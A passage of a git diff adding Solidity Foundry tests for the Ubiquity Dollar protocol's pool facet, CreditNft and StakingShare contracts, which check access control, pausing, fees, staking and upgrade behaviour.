testAmoMinterBorrow_ShouldRevert_IfBorrowingIsPaused() public { + // admin pauses borrowing by AMOs + vm.prank(admin); + ubiquityPoolFacet.toggleMintRedeemBorrow(0, 2); + + // Dollar AMO minter tries to borrow collateral + vm.prank(address(dollarAmoMinter)); + vm.expectRevert("Borrowing is paused"); + ubiquityPoolFacet.amoMinterBorrow(1); + } + + function testAmoMinterBorrow_ShouldRevert_IfCollateralIsDisabled() public { + // admin disables collateral + vm.prank(admin); + ubiquityPoolFacet.toggleCollateral(0); + + // Dollar AMO minter tries to borrow collateral + vm.prank(address(dollarAmoMinter)); + vm.expectRevert("Collateral disabled"); + ubiquityPoolFacet.amoMinterBorrow(1); + } + + function testAmoMinterBorrow_ShouldRevert_IfThereIsNotEnoughFreeCollateral() + public + { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + // user sends 100 collateral tokens and gets 99 Dollars (-1% mint fee) + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + // user redeems 99 Dollars for 97.02 (accounts for 2% redemption fee) collateral tokens + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 99e18, // Dollar amount + 0, // min Governance out + 90e18 // min collateral out + ); + + // get free collateral amount, returns 2.98e18 + uint256 freeCollateralAmount = ubiquityPoolFacet.freeCollateralBalance( + 0 + ); + assertEq(freeCollateralAmount, 2.98e18); + + // Dollar AMO minter tries to borrow more collateral than available after users' redemptions + vm.prank(address(dollarAmoMinter)); + vm.expectRevert("Not enough free collateral"); + ubiquityPoolFacet.amoMinterBorrow(freeCollateralAmount + 1); + } + + function testAmoMinterBorrow_ShouldBorrowCollateral() public { + // mint 100 collateral tokens to the pool + collateralToken.mint(address(ubiquityPoolFacet), 100e18); + + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 100e18); + assertEq(collateralToken.balanceOf(address(dollarAmoMinter)), 0); + + vm.prank(address(dollarAmoMinter)); + ubiquityPoolFacet.amoMinterBorrow(100e18); + + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(collateralToken.balanceOf(address(dollarAmoMinter)), 100e18); + } + + //======================== + // Restricted functions + //======================== + + function testAddAmoMinter_ShouldRevert_IfAmoMinterIsZeroAddress() public { + vm.startPrank(admin); + + vm.expectRevert("Zero address detected"); + ubiquityPoolFacet.addAmoMinter(address(0)); + + vm.stopPrank(); + } + + function testAddAmoMinter_ShouldRevert_IfAmoMinterHasInvalidInterface() + public + { + vm.startPrank(admin); + + vm.expectRevert(); + ubiquityPoolFacet.addAmoMinter(address(1)); + + vm.stopPrank(); + } + + function testAddAmoMinter_ShouldAddAmoMinter() public { + vm.startPrank(admin); + + vm.expectEmit(address(ubiquityPoolFacet)); + emit AmoMinterAdded(address(dollarAmoMinter)); + ubiquityPoolFacet.addAmoMinter(address(dollarAmoMinter)); + + vm.stopPrank(); + } + + function testAddCollateralToken_ShouldAddNewTokenAsCollateral() public { + LibUbiquityPool.CollateralInformation memory info = ubiquityPoolFacet + .collateralInformation(address(collateralToken)); + assertEq(info.index, 0); + assertEq(info.symbol, "CLT"); + assertEq(info.collateralAddress, address(collateralToken)); + assertEq( + info.collateralPriceFeedAddress, + address(collateralTokenPriceFeed) + ); + assertEq(info.collateralPriceFeedStalenessThreshold, 1 days); + assertEq(info.isEnabled, true); + assertEq(info.missingDecimals, 0); + assertEq(info.price, 1_000_000); + assertEq(info.poolCeiling, 50_000e18); + assertEq(info.isMintPaused, false); + assertEq(info.isRedeemPaused, false); + assertEq(info.isBorrowPaused, false); + assertEq(info.mintingFee, 10000); + assertEq(info.redemptionFee, 20000); + } + + function testAddCollateralToken_ShouldRevertIfCollateralExists() public { + uint256 poolCeiling = 50_000e18; + vm.startPrank(admin); + vm.expectRevert("Collateral already added"); + ubiquityPoolFacet.addCollateralToken( + address(collateralToken), + address(collateralTokenPriceFeed), + poolCeiling + ); + } + + function testRemoveAmoMinter_ShouldRemoveAmoMinter() public { + vm.startPrank(admin); + + vm.expectEmit(address(ubiquityPoolFacet)); + emit AmoMinterRemoved(address(dollarAmoMinter)); + ubiquityPoolFacet.removeAmoMinter(address(dollarAmoMinter)); + + vm.stopPrank(); + } + + function testSetCollateralChainLinkPriceFeed_ShouldRevertIfCollateralDoesNotExist() + public + { + vm.prank(admin); + vm.expectRevert("Collateral does not exist"); + address invalidCollateralAddress = address(0); + address newPriceFeedAddress = address(1); + uint256 newStalenessThreshold = 1 days; + ubiquityPoolFacet.setCollateralChainLinkPriceFeed( + invalidCollateralAddress, + newPriceFeedAddress, + newStalenessThreshold + ); + } + + function testSetCollateralChainLinkPriceFeed_ShouldSetPriceFeed() public { + vm.startPrank(admin); + + LibUbiquityPool.CollateralInformation memory info = ubiquityPoolFacet + .collateralInformation(address(collateralToken)); + assertEq( + info.collateralPriceFeedAddress, + address(collateralTokenPriceFeed) + ); + assertEq(info.collateralPriceFeedStalenessThreshold, 1 days); + + address newPriceFeedAddress = address(1); + uint256 newStalenessThreshold = 2 days; + vm.expectEmit(address(ubiquityPoolFacet)); + emit CollateralPriceFeedSet( + 0, + newPriceFeedAddress, + newStalenessThreshold + ); + ubiquityPoolFacet.setCollateralChainLinkPriceFeed( + address(collateralToken), + newPriceFeedAddress, + newStalenessThreshold + ); + + info = ubiquityPoolFacet.collateralInformation( + address(collateralToken) + ); + assertEq(info.collateralPriceFeedAddress, newPriceFeedAddress); + assertEq( + info.collateralPriceFeedStalenessThreshold, + newStalenessThreshold + ); + + vm.stopPrank(); + } + + function testSetCollateralRatio_ShouldSetCollateralRatio() public { + vm.startPrank(admin); + + uint256 oldCollateralRatio = ubiquityPoolFacet.collateralRatio(); + assertEq(oldCollateralRatio, 1_000_000); + + uint256 newCollateralRatio = 900_000; + vm.expectEmit(address(ubiquityPoolFacet)); + emit CollateralRatioSet(newCollateralRatio); + ubiquityPoolFacet.setCollateralRatio(newCollateralRatio); + + assertEq(ubiquityPoolFacet.collateralRatio(), newCollateralRatio); + + vm.stopPrank(); + } + + function testSetCollateralRatio_ShouldRevertIfRatioLargerThanOneHundredPercent() + public + { + vm.startPrank(admin); + uint256 oldCollateralRatio = ubiquityPoolFacet.collateralRatio(); + assertEq(oldCollateralRatio, 1_000_000); + + uint256 newCollateralRatio = 1_000_001; + vm.expectRevert("Collateral ratio too large"); + ubiquityPoolFacet.setCollateralRatio(newCollateralRatio); + + vm.stopPrank(); + } + + function testSetEthUsdChainLinkPriceFeed_ShouldSetEthUsdChainLinkPriceFeed() + public + { + vm.startPrank(admin); + + ( + address oldPriceFeedAddress, + uint256 oldStalenessThreshold + ) = ubiquityPoolFacet.ethUsdPriceFeedInformation(); + assertEq(oldPriceFeedAddress, address(ethUsdPriceFeed)); + assertEq(oldStalenessThreshold, 1 days); + + address newPriceFeedAddress = address(1); + uint256 newStalenessThreshold = 2 days; + vm.expectEmit(address(ubiquityPoolFacet)); + emit EthUsdPriceFeedSet(newPriceFeedAddress, newStalenessThreshold); + ubiquityPoolFacet.setEthUsdChainLinkPriceFeed( + newPriceFeedAddress, + newStalenessThreshold + ); + + ( + address updatedPriceFeedAddress, + uint256 updatedStalenessThreshold + ) = ubiquityPoolFacet.ethUsdPriceFeedInformation(); + assertEq(updatedPriceFeedAddress, newPriceFeedAddress); + assertEq(updatedStalenessThreshold, newStalenessThreshold); + + vm.stopPrank(); + } + + function testSetFees_ShouldSetMintAndRedeemFees() public { + vm.startPrank(admin); + + vm.expectEmit(address(ubiquityPoolFacet)); + emit FeesSet(0, 1, 2); + ubiquityPoolFacet.setFees(0, 1, 2); + + vm.stopPrank(); + } + + function testSetGovernanceEthPoolAddress_ShouldSetGovernanceEthPoolAddress() + public + { + vm.startPrank(admin); + + address oldGovernanceEthPoolAddress = ubiquityPoolFacet + .governanceEthPoolAddress(); + assertEq(oldGovernanceEthPoolAddress, address(curveGovernanceEthPool)); + + address newGovernanceEthPoolAddress = address(1); + vm.expectEmit(address(ubiquityPoolFacet)); + emit GovernanceEthPoolSet(newGovernanceEthPoolAddress); + ubiquityPoolFacet.setGovernanceEthPoolAddress( + newGovernanceEthPoolAddress + ); + + assertEq( + ubiquityPoolFacet.governanceEthPoolAddress(), + newGovernanceEthPoolAddress + ); + + vm.stopPrank(); + } + + function testSetPoolCeiling_ShouldSetMaxAmountOfTokensAllowedForCollateral() + public + { + vm.startPrank(admin); + + LibUbiquityPool.CollateralInformation memory info = ubiquityPoolFacet + .collateralInformation(address(collateralToken)); + assertEq(info.poolCeiling, 50_000e18); + + vm.expectEmit(address(ubiquityPoolFacet)); + emit PoolCeilingSet(0, 10_000e18); + ubiquityPoolFacet.setPoolCeiling(0, 10_000e18); + + info = ubiquityPoolFacet.collateralInformation( + address(collateralToken) + ); + assertEq(info.poolCeiling, 10_000e18); + + vm.stopPrank(); + } + + function testSetPriceThresholds_ShouldSetPriceThresholds() public { + vm.startPrank(admin); + + vm.expectEmit(address(ubiquityPoolFacet)); + emit PriceThresholdsSet(1010000, 990000); + ubiquityPoolFacet.setPriceThresholds(1010000, 990000); + + vm.stopPrank(); + } + + function testSetRedemptionDelayBlocks_ShouldSetRedemptionDelayInBlocks() + public + { + vm.startPrank(admin); + + vm.expectEmit(address(ubiquityPoolFacet)); + emit RedemptionDelayBlocksSet(2); + ubiquityPoolFacet.setRedemptionDelayBlocks(2); + + vm.stopPrank(); + } + + function testSetStableUsdChainLinkPriceFeed_ShouldSetStableUsdChainLinkPriceFeed() + public + { + vm.startPrank(admin); + + ( + address oldPriceFeedAddress, + uint256 oldStalenessThreshold + ) = ubiquityPoolFacet.stableUsdPriceFeedInformation(); + assertEq(oldPriceFeedAddress, address(stableUsdPriceFeed)); + assertEq(oldStalenessThreshold, 1 days); + + address newPriceFeedAddress = address(1); + uint256 newStalenessThreshold = 2 days; + vm.expectEmit(address(ubiquityPoolFacet)); + emit StableUsdPriceFeedSet(newPriceFeedAddress, newStalenessThreshold); + ubiquityPoolFacet.setStableUsdChainLinkPriceFeed( + newPriceFeedAddress, + newStalenessThreshold + ); + + ( + address updatedPriceFeedAddress, + uint256 updatedStalenessThreshold + ) = ubiquityPoolFacet.stableUsdPriceFeedInformation(); + assertEq(updatedPriceFeedAddress, newPriceFeedAddress); + assertEq(updatedStalenessThreshold, newStalenessThreshold); + + vm.stopPrank(); + } + + function testToggleCollateral_ShouldToggleCollateral() public { + vm.startPrank(admin); + + LibUbiquityPool.CollateralInformation memory info = ubiquityPoolFacet + .collateralInformation(address(collateralToken)); + assertEq(info.isEnabled, true); + + vm.expectEmit(address(ubiquityPoolFacet)); + emit CollateralToggled(0, false); + ubiquityPoolFacet.toggleCollateral(0); + + vm.expectRevert("Invalid collateral"); + info = ubiquityPoolFacet.collateralInformation( + address(collateralToken) + ); + + vm.stopPrank(); + } + + function testToggleMintRedeemBorrow_ShouldToggleMinting() public { + vm.startPrank(admin); + + uint256 collateralIndex = 0; + uint8 toggleIndex = 0; + + LibUbiquityPool.CollateralInformation memory info = ubiquityPoolFacet + .collateralInformation(address(collateralToken)); + assertEq(info.isMintPaused, false); + + vm.expectEmit(address(ubiquityPoolFacet)); + emit MintRedeemBorrowToggled(collateralIndex, toggleIndex); + ubiquityPoolFacet.toggleMintRedeemBorrow(collateralIndex, toggleIndex); + + info = ubiquityPoolFacet.collateralInformation( + address(collateralToken) + ); + assertEq(info.isMintPaused, true); + + vm.stopPrank(); + } + + function testToggleMintRedeemBorrow_ShouldToggleRedeeming() public { + vm.startPrank(admin); + + uint256 collateralIndex = 0; + uint8 toggleIndex = 1; + + LibUbiquityPool.CollateralInformation memory info = ubiquityPoolFacet + .collateralInformation(address(collateralToken)); + assertEq(info.isRedeemPaused, false); + + vm.expectEmit(address(ubiquityPoolFacet)); + emit MintRedeemBorrowToggled(collateralIndex, toggleIndex); + ubiquityPoolFacet.toggleMintRedeemBorrow(collateralIndex, toggleIndex); + + info = ubiquityPoolFacet.collateralInformation( + address(collateralToken) + ); + assertEq(info.isRedeemPaused, true); + + vm.stopPrank(); + } + + function testToggleMintRedeemBorrow_ShouldToggleBorrowingByAmoMinter() + public + { + vm.startPrank(admin); + + uint256 collateralIndex = 0; + uint8 toggleIndex = 2; + + LibUbiquityPool.CollateralInformation memory info = ubiquityPoolFacet + .collateralInformation(address(collateralToken)); + assertEq(info.isBorrowPaused, false); + + vm.expectEmit(address(ubiquityPoolFacet)); + emit MintRedeemBorrowToggled(collateralIndex, toggleIndex); + ubiquityPoolFacet.toggleMintRedeemBorrow(collateralIndex, toggleIndex); + + info = ubiquityPoolFacet.collateralInformation( + address(collateralToken) + ); + assertEq(info.isBorrowPaused, true); + + vm.stopPrank(); + } +} diff --git a/packages/contracts/test/dollar/core/CreditNft.t.sol b/packages/contracts/test/dollar/core/CreditNft.t.sol new file mode 100644 index 000000000..c8cc5f9df --- /dev/null +++ b/packages/contracts/test/dollar/core/CreditNft.t.sol @@ -0,0 +1,278 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import {ManagerFacet} from "../../../src/dollar/facets/ManagerFacet.sol"; +import {CreditNft} from "../../../src/dollar/core/CreditNft.sol"; + +import "../../helpers/LocalTestHelper.sol"; + +contract CreditNftTest is LocalTestHelper { + address dollarManagerAddress; + address creditNftAddress; + + event MintedCreditNft( + address recipient, + uint256 expiryBlock, + uint256 amount + ); + + event BurnedCreditNft( + address creditNftHolder, + uint256 expiryBlock, + uint256 amount + ); + + function setUp() public override { + super.setUp(); + + // deploy Credit NFT token + creditNftAddress = address(creditNft); + vm.prank(admin); + managerFacet.setCreditNftAddress(address(creditNftAddress)); + } + + function testSetManager_ShouldRevert_WhenNotAdmin() public { + vm.prank(address(0x123abc)); + vm.expectRevert("ERC20Ubiquity: not admin"); + creditNft.setManager(address(0x123abc)); + } + + function testSetManager_ShouldSetDiamond() public { + address newDiamond = address(0x123abc); + vm.prank(admin); + creditNft.setManager(newDiamond); + require(creditNft.getManager() == newDiamond); + } + + function testMintCreditNft_ShouldRevert_WhenNotCreditNftManager() public { + vm.expectRevert("Caller is not a CreditNft manager"); + creditNft.mintCreditNft(address(0x123), 1, 100); + } + + function testMintCreditNft_ShouldMintCreditNft() public { + address receiver = address(0x123); + uint256 expiryBlockNumber = 100; + uint256 mintAmount = 1; + + uint256 init_balance = creditNft.balanceOf(receiver, expiryBlockNumber); + vm.prank(admin); + vm.expectEmit(true, false, false, true); + emit MintedCreditNft(receiver, expiryBlockNumber, 1); + creditNft.mintCreditNft(receiver, mintAmount, expiryBlockNumber); + uint256 last_balance = creditNft.balanceOf(receiver, expiryBlockNumber); + assertEq(last_balance - init_balance, mintAmount); + + uint256[] memory holderTokens = creditNft.holderTokens(receiver); + assertEq(holderTokens[0], expiryBlockNumber); + } + + function testBurnCreditNft_ShouldRevert_WhenNotCreditNftManager() public { + vm.expectRevert("Caller is not a CreditNft manager"); + creditNft.burnCreditNft(address(0x123), 1, 100); + } + + function testBurnCreditNft_ShouldBurnCreditNft() public { + address creditNftOwner = address(0x123); + uint256 expiryBlockNumber = 100; + uint256 burnAmount = 1; + + vm.prank(admin); + creditNft.mintCreditNft(creditNftOwner, 10, expiryBlockNumber); + uint256 init_balance = creditNft.balanceOf( + creditNftOwner, + expiryBlockNumber + ); + vm.prank(creditNftOwner); + creditNft.setApprovalForAll(admin, true); + vm.prank(admin); + vm.expectEmit(true, false, false, true); + emit BurnedCreditNft(creditNftOwner, expiryBlockNumber, 1); + creditNft.burnCreditNft(creditNftOwner, burnAmount, expiryBlockNumber); + uint256 last_balance = creditNft.balanceOf( + creditNftOwner, + expiryBlockNumber + ); + assertEq(init_balance - last_balance, burnAmount); + } + + function testUpdateTotalDebt_ShouldUpdateTotalDebt() public { + vm.startPrank(admin); + creditNft.mintCreditNft(vm.addr(0x111), 10, 10000); // 10 -> amount, 10000 -> expiryBlockNumber + creditNft.mintCreditNft(vm.addr(0x222), 10, 20000); + creditNft.mintCreditNft(vm.addr(0x333), 10, 30000); + vm.stopPrank(); + + // sets block.number + vm.roll(block.number + 15000); + creditNft.updateTotalDebt(); + uint256 outStandingTotalDebt = creditNft.getTotalOutstandingDebt(); + assertEq(outStandingTotalDebt, 20); + } + + function testGetTotalOutstandingDebt_ReturnTotalDebt() public { + vm.startPrank(admin); + creditNft.mintCreditNft(address(0x111), 10, 10000); // 10 -> amount, 10000 -> expiryBlockNumber + creditNft.mintCreditNft(address(0x222), 10, 20000); + creditNft.mintCreditNft(address(0x333), 10, 30000); + vm.stopPrank(); + + // sets block.number + vm.roll(block.number + 25000); + creditNft.updateTotalDebt(); + uint256 outStandingTotalDebt = creditNft.getTotalOutstandingDebt(); + assertEq(outStandingTotalDebt, 10); + } + + function testUUPS_ShouldUpgradeAndCall() external { + CreditNftUpgraded creditNftUpgraded = new CreditNftUpgraded(); + + vm.startPrank(admin); + bytes memory hasUpgradedCall = abi.encodeWithSignature("hasUpgraded()"); + + // trying to directly call will fail and exit early so call it like this + (bool success, ) = address(creditNft).call(hasUpgradedCall); + assertEq(success, false, "should not have upgraded yet"); + require(success == false, "should not have upgraded yet"); + + creditNft.upgradeTo(address(creditNftUpgraded)); + + // It will also fail unless cast so we'll use the same pattern as above + (success, ) = address(creditNft).call(hasUpgradedCall); + assertEq(success, true, "should have upgraded"); + require(success == true, "should have upgraded"); + + vm.expectRevert(); + creditNft.initialize(address(diamond)); + + vm.stopPrank(); + } + + function testUUPS_ImplChanges() external { + CreditNftUpgraded creditNftUpgraded = new CreditNftUpgraded(); + + address oldImpl = address(creditNft); + address newImpl = address(creditNftUpgraded); + + vm.prank(admin); + creditNft.upgradeTo(newImpl); + + bytes memory getImplCall = abi.encodeWithSignature("getImpl()"); + + (bool success, bytes memory data) = address(creditNft).call( + getImplCall + ); + assertEq(success, true, "should have upgraded"); + + address newAddrViaNewFunc = abi.decode(data, (address)); + + assertEq( + newAddrViaNewFunc, + newImpl, + "should be the new implementation" + ); + assertTrue( + newAddrViaNewFunc != oldImpl, + "should not be the old implementation" + ); + } + + function testUUPS_InitializedVersion() external { + uint expectedVersion = 1; + uint baseExpectedVersion = 255; + + CreditNftUpgraded creditNftUpgraded = new CreditNftUpgraded(); + CreditNftUpgraded creditNftT = new CreditNftUpgraded(); + + vm.startPrank(admin); + creditNft.upgradeTo(address(creditNftUpgraded)); + + bytes memory getVersionCall = abi.encodeWithSignature("getVersion()"); + + (bool success, bytes memory data) = address(creditNft).call( + getVersionCall + ); + assertEq(success, true, "should have upgraded"); + uint8 version = abi.decode(data, (uint8)); + + assertEq( + version, + expectedVersion, + "should be the same version as only initialized once" + ); + + creditNft.upgradeTo(address(creditNftT)); + + (success, data) = address(creditNft).call(getVersionCall); + assertEq(success, true, "should have upgraded"); + version = abi.decode(data, (uint8)); + + assertEq( + version, + expectedVersion, + "should be the same version as only initialized once" + ); + + (success, data) = address(creditNftT).call(getVersionCall); + assertEq(success, true, "should succeed"); + version = abi.decode(data, (uint8)); + + assertEq( + version, + baseExpectedVersion, + "should be maxed as initializers are disabled." + ); + } + + function testUUPS_initialization() external { + CreditNftUpgraded creditNftUpgraded = new CreditNftUpgraded(); + + vm.startPrank(admin); + vm.expectRevert(); + creditNftUpgraded.initialize(address(diamond)); + + vm.expectRevert(); + creditNft.initialize(address(diamond)); + + vm.expectRevert(); + creditNft.initialize(address(diamond)); + + creditNft.upgradeTo(address(creditNftUpgraded)); + + vm.expectRevert(); + creditNft.initialize(address(diamond)); + } + + function testUUPS_AdminAuth() external { + CreditNftUpgraded creditNftUpgraded = new CreditNftUpgraded(); + + vm.expectRevert(); + creditNft.upgradeTo(address(creditNftUpgraded)); + + vm.prank(admin); + creditNft.upgradeTo(address(creditNftUpgraded)); + + bytes memory hasUpgradedCall = abi.encodeWithSignature("hasUpgraded()"); + (bool success, bytes memory data) = address(creditNft).call( + hasUpgradedCall + ); + bool hasUpgraded = abi.decode(data, (bool)); + + assertEq(hasUpgraded, true, "should have upgraded"); + assertEq(success, true, "should have upgraded"); + require(success == true, "should have upgraded"); + } +} + +contract CreditNftUpgraded is CreditNft { + function hasUpgraded() public pure returns (bool) { + return true; + } + + function getVersion() public view returns (uint8) { + return super._getInitializedVersion(); + } + + function getImpl() public view returns (address) { + return super._getImplementation(); + } +} diff --git a/packages/contracts/test/dollar/core/StakingShare.t.sol b/packages/contracts/test/dollar/core/StakingShare.t.sol new file mode 100644 index 000000000..c8e028ed1 --- /dev/null +++ b/packages/contracts/test/dollar/core/StakingShare.t.sol @@ -0,0 +1,546 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "../../helpers/LocalTestHelper.sol"; +import {ICurveStableSwapMetaNG} from "../../../src/dollar/interfaces/ICurveStableSwapMetaNG.sol"; +import {StakingShare} from "../../../src/dollar/core/StakingShare.sol"; +import "../../../src/dollar/libraries/Constants.sol"; +import {BondingShare} from "../../../src/dollar/mocks/MockShareV1.sol"; + +contract DepositStakingShare is LocalTestHelper { + address treasury = address(0x3); + address secondAccount = address(0x4); + address thirdAccount = address(0x5); + address fourthAccount = address(0x6); + address fifthAccount = address(0x7); + address stakingZeroAccount = address(0x8); + address stakingMinAccount = address(0x9); + address stakingMaxAccount = address(0x10); + + uint256 fourthBal; + uint256 minBal; + uint256 maxBal; + uint256[] creationBlock; + ICurveStableSwapMetaNG metapool; + + event Paused(address _caller); + event Unpaused(address _caller); + event TransferSingle( + address operator, + address from, + address to, + uint256 id, + uint256 amount + ); + + function setUp() public virtual override { + super.setUp(); + // grant diamond token staking share right rights + vm.prank(admin); + accessControlFacet.grantRole( + STAKING_SHARE_MINTER_ROLE, + address(diamond) + ); + metapool = ICurveStableSwapMetaNG( + managerFacet.stableSwapMetaPoolAddress() + ); + fourthBal = metapool.balanceOf(fourthAccount); + minBal = metapool.balanceOf(stakingMinAccount); + maxBal = metapool.balanceOf(stakingMaxAccount); + address[4] memory depositingAccounts = [ + stakingMinAccount, + fourthAccount, + stakingMaxAccount, + stakingMaxAccount + ]; + uint256[4] memory depositAmounts = [ + minBal, + fourthBal, + maxBal / 2, + maxBal / 2 + ]; + uint256[4] memory lockupWeeks = [ + uint256(1), + uint256(52), + uint256(208), + uint256(208) + ]; + + for (uint256 i; i < depositingAccounts.length; ++i) { + vm.startPrank(depositingAccounts[i]); + metapool.approve(address(stakingFacet), 2 ** 256 - 1); + creationBlock.push(block.number); + stakingFacet.deposit(depositAmounts[i], lockupWeeks[i]); + vm.stopPrank(); + } + } +} + +contract StakingShareTest is DepositStakingShare { + uint256[] ids; + uint256[] amounts; + + function testUpdateStake_ShouldUpdateStake( + uint128 amount, + uint128 debt, + uint256 end + ) public { + vm.prank(admin); + accessControlFacet.grantRole(STAKING_SHARE_MINTER_ROLE, address(admin)); + vm.prank(admin); + stakingShare.updateStake(1, uint256(amount), uint256(debt), end); + StakingShare.Stake memory stake = stakingShare.getStake(1); + assertEq(stake.lpAmount, amount); + assertEq(stake.lpRewardDebt, debt); + assertEq(stake.endBlock, end); + } + + function testUpdateStake_ShouldRevert_IfNotMinter( + uint128 amount, + uint128 debt, + uint256 end + ) public { + vm.expectRevert("Staking Share: not minter"); + vm.prank(secondAccount); + stakingShare.updateStake(1, uint256(amount), uint256(debt), end); + } + + function testUpdateStake_ShouldRevert_IfPaused( + uint128 amount, + uint128 debt, + uint256 end + ) public { + vm.prank(admin); + stakingShare.pause(); + + vm.expectRevert("Staking Share: not minter"); + vm.prank(admin); + stakingShare.updateStake(1, uint256(amount), uint256(debt), end); + } + + function testMint_ShouldMint( + uint128 deposited, + uint128 debt, + uint256 end + ) public { + vm.prank(admin); + accessControlFacet.grantRole(STAKING_SHARE_MINTER_ROLE, address(admin)); + vm.prank(admin); + uint256 id = stakingShare.mint( + secondAccount, + uint256(deposited), + uint256(debt), + end + ); + StakingShare.Stake memory stake = stakingShare.getStake(id); + assertEq(stake.minter, secondAccount); + assertEq(stake.lpAmount, deposited); + assertEq(stake.lpRewardDebt, debt); + assertEq(stake.endBlock, end); + assertEq(stake.creationBlock, block.number); + } + + function testMint_ShouldRevert_IfMintingToZeroAddress( + uint128 deposited, + uint128 debt, + uint256 end + ) public { + vm.expectRevert("Staking Share: not minter"); + vm.prank(admin); + stakingShare.mint(address(0), uint256(deposited), uint256(debt), end); + } + + function testMint_ShouldRevert_IfNotMinter( + uint128 deposited, + uint128 debt, + uint256 end + ) public { + vm.expectRevert("Staking Share: not minter"); + vm.prank(secondAccount); + + stakingShare.mint(address(0), uint256(deposited), uint256(debt), end); + } + + function testMint_ShouldRevert_IfPaused( + uint128 deposited, + uint128 debt, + uint256 end + ) public { + vm.prank(admin); + stakingShare.pause(); + + vm.prank(admin); + vm.expectRevert("Staking Share: not minter"); + stakingShare.mint(address(0), uint256(deposited), uint256(debt), end); + } + + function testPause_ShouldPause() public { + vm.expectEmit(true, false, false, true); + emit Paused(admin); + + vm.prank(admin); + accessControlFacet.pause(); + } + + function testPause_ShouldRevert_IfNotPauser() public { + vm.expectRevert("Manager: Caller is not admin"); + vm.prank(secondAccount); + accessControlFacet.pause(); + } + + function testUnpause_ShouldUnpause() public { + vm.prank(admin); + accessControlFacet.pause(); + + vm.expectEmit(true, false, false, true); + emit Unpaused(admin); + + vm.prank(admin); + accessControlFacet.unpause(); + } + + function testUnpause_ShouldRevert_IfNotPauser() public { + vm.prank(admin); + accessControlFacet.pause(); + + vm.expectRevert("Manager: Caller is not admin"); + vm.prank(secondAccount); + accessControlFacet.unpause(); + } + + function testSafeTransferFrom_ShouldTransferTokenId() public { + vm.prank(stakingMinAccount); + stakingShare.setApprovalForAll(admin, true); + + bytes memory data; + vm.prank(admin); + stakingShare.safeTransferFrom( + stakingMinAccount, + secondAccount, + 1, + 1, + data + ); + ids.push(1); + + assertEq(stakingShare.holderTokens(secondAccount), ids); + } + + function testSafeTransferFrom_ShouldRevert_IfToAddressZero() public { + vm.prank(stakingMinAccount); + stakingShare.setApprovalForAll(admin, true); + + vm.expectRevert("ERC1155: transfer to the zero address"); + bytes memory data; + vm.prank(admin); + stakingShare.safeTransferFrom( + stakingMinAccount, + address(0), + 1, + 1, + data + ); + } + + function testSafeTransferFrom_ShouldRevert_IfInsufficientBalance() public { + vm.prank(fifthAccount); + stakingShare.setApprovalForAll(admin, true); + + vm.expectRevert("ERC1155: insufficient balance for transfer"); + bytes memory data; + vm.prank(admin); + stakingShare.safeTransferFrom(fifthAccount, secondAccount, 1, 1, data); + } + + function testSafeTransferFrom_ShouldRevert_IfPaused() public { + vm.prank(admin); + stakingShare.pause(); + + vm.expectRevert("Pausable: paused"); + vm.prank(admin); + bytes memory data; + stakingShare.safeTransferFrom( + stakingMinAccount, + secondAccount, + 1, + 1, + data + ); + } + + function testSafeBatchTransferFrom_ShouldTransferTokenIds() public { + ids.push(3); + ids.push(4); + amounts.push(1); + amounts.push(1); + + vm.prank(stakingMaxAccount); + stakingShare.setApprovalForAll(admin, true); + + bytes memory data; + + vm.prank(admin); + stakingShare.safeBatchTransferFrom( + stakingMaxAccount, + secondAccount, + ids, + amounts, + data + ); + assertEq(stakingShare.holderTokens(secondAccount), ids); + } + + function testSafeBatchTransferFrom_ShouldRevert_IfPaused() public { + vm.prank(admin); + stakingShare.pause(); + + vm.expectRevert("Pausable: paused"); + bytes memory data; + vm.prank(admin); + stakingShare.safeBatchTransferFrom( + stakingMaxAccount, + secondAccount, + ids, + amounts, + data + ); + } + + function testTotalSupply_ShouldReturn_TotalSupply() public { + assertEq(stakingShare.totalSupply(), 4); + } + + function testGetStake_ShouldReturnStake() public { + StakingShare.Stake memory stake = StakingShare.Stake( + fourthAccount, + fourthBal, + creationBlock[1], + stakingFormulasFacet.durationMultiply( + fourthBal, + 52, + stakingFacet.stakingDiscountMultiplier() + ), + stakingFacet.blockCountInAWeek() * 52, + fourthBal + ); + + StakingShare.Stake memory stake_ = stakingShare.getStake(2); + bytes32 stake1 = bytes32(abi.encode(stake)); + bytes32 stake2 = bytes32(abi.encode(stake_)); + assertEq(stake1, stake2); + } + + function testSetUri_ShouldSetUri() public { + vm.prank(admin); + accessControlFacet.grantRole(STAKING_SHARE_MINTER_ROLE, address(admin)); + + string memory stringTest = "{'name':'Staking Share','description':," + "'Ubiquity Staking Share'," + "'image': 'https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/'}"; + vm.prank(admin); + stakingShare.setUri(1, stringTest); + assertEq( + stakingShare.uri(1), + stringTest, + "the uri is not set correctly by the method" + ); + } + + function testSetBaseUri_ShouldSetUri() public { + vm.prank(admin); + accessControlFacet.grantRole(STAKING_SHARE_MINTER_ROLE, address(admin)); + + string memory stringTest = "{'name':'Staking Share','description':," + "'Ubiquity Staking Share'," + "'image': 'https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/'}"; + vm.prank(admin); + stakingShare.setBaseUri(stringTest); + assertEq( + stakingShare.getBaseUri(), + stringTest, + "the uri is not set correctly by the method" + ); + } + + function testSetUriSingle_ShouldSetUri() public { + vm.prank(admin); + accessControlFacet.grantRole(STAKING_SHARE_MINTER_ROLE, address(admin)); + + string memory stringTest = "{'name':'Staking Share','description':," + "'Ubiquity Staking Share'," + "'image': 'https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/'}"; + vm.prank(admin); + stakingShare.setUri(stringTest); + 